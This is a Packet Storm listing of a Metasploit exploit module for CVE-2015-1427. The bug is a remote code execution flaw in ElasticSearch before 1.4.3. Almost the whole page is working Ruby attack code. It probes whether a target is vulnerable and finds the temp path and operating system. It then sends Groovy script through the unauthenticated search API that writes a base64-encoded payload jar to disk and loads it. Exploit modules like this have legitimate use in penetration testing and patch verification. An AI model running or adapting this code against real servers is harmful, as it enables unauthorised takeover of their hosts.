Lucene search

K
packetstormJuan vazquezPACKETSTORM:130799
HistoryMar 12, 2015 - 12:00 a.m.

ElasticSearch Search Groovy Sandbox Bypass

2015-03-1200:00:00
juan vazquez
packetstormsecurity.com
155

EPSS

0.973

Percentile

99.9%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',  
'Description' => %q{  
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,  
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the  
REST API, which does not require authentication, where the search function allows  
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName  
to reference arbitrary classes. It can be used to execute arbitrary Java code. This  
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.  
},  
'Author' =>  
[  
'Cameron Morris', # Vulnerability discovery  
'Darren Martyn', # Public Exploit  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-1427'],  
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],  
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],  
['URL', 'http://drops.wooyun.org/papers/5107']  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
['ElasticSearch 1.4.2', {}]  
],  
'DisclosureDate' => 'Feb 11 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(9200),  
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])  
], self.class)  
end  
  
def check  
result = Exploit::CheckCode::Safe  
  
if vulnerable?  
result = Exploit::CheckCode::Vulnerable  
end  
  
result  
end  
  
def exploit  
print_status("#{peer} - Checking vulnerability...")  
unless vulnerable?  
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")  
end  
  
print_status("#{peer} - Discovering TEMP path...")  
res = execute(java_tmp_dir)  
tmp_dir = parse_result(res)  
if tmp_dir.nil?  
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")  
else  
print_good("#{peer} - TEMP path on '#{tmp_dir}'")  
end  
  
print_status("#{peer} - Discovering remote OS...")  
res = execute(java_os)  
os = parse_result(res)  
if os.nil?  
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")  
else  
print_good("#{peer} - Remote OS is '#{os}'")  
end  
  
if os =~ /win/i  
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"  
else  
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")  
end  
  
register_files_for_cleanup(tmp_file)  
  
print_status("#{peer} - Trying to load metasploit payload...")  
java = java_load_class(os, tmp_file)  
execute(java)  
end  
  
def vulnerable?  
java = 'java.lang.Math.class.forName("java.lang.Runtime")'  
  
vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")  
res = execute(java)  
result = parse_result(res)  
  
if result.nil?  
vprint_status("#{peer} - no response to test")  
return false  
elsif result == 'class java.lang.Runtime'  
return true  
end  
  
false  
end  
  
def parse_result(res)  
unless res  
vprint_error("#{peer} - No response")  
return nil  
end  
  
unless res.code == 200 && res.body  
vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")  
return nil  
end  
  
begin  
json = JSON.parse(res.body.to_s)  
rescue JSON::ParserError  
return nil  
end  
  
begin  
result = json['hits']['hits'][0]['fields']['msf_result']  
rescue  
return nil  
end  
  
result.is_a?(::Array) ? result.first : result  
end  
  
def java_tmp_dir  
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'  
end  
  
def java_os  
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'  
end  
  
def java_load_class(os, tmp_file)  
if os =~ /win/i  
tmp_file.gsub!(/\\/, '\\\\\\\\')  
end  
  
java = [  
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',  
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',  
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",  
'b64_i=b64.newInstance();',  
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",  
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',  
'file_class=java.lang.Math.class.forName("java.io.File");',  
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",  
'loader=loader_class.newInstance();',  
'loader.addURL(file_url);',  
'm=loader.loadClass(\'metasploit.Payload\');',  
'm.main(null);'  
]  
  
java.join  
end  
  
def execute(java, timeout = 20)  
payload = {  
"size" => 1,  
"query" => {  
"filtered" => {  
"query" => {  
"match_all" => {}  
}  
}  
},  
"script_fields" => {  
"msf_result" => {  
"script" => java  
}  
}  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, "_search"),  
'method' => 'POST',  
'data' => JSON.generate(payload)  
}, timeout)  
  
res  
end  
  
end  
`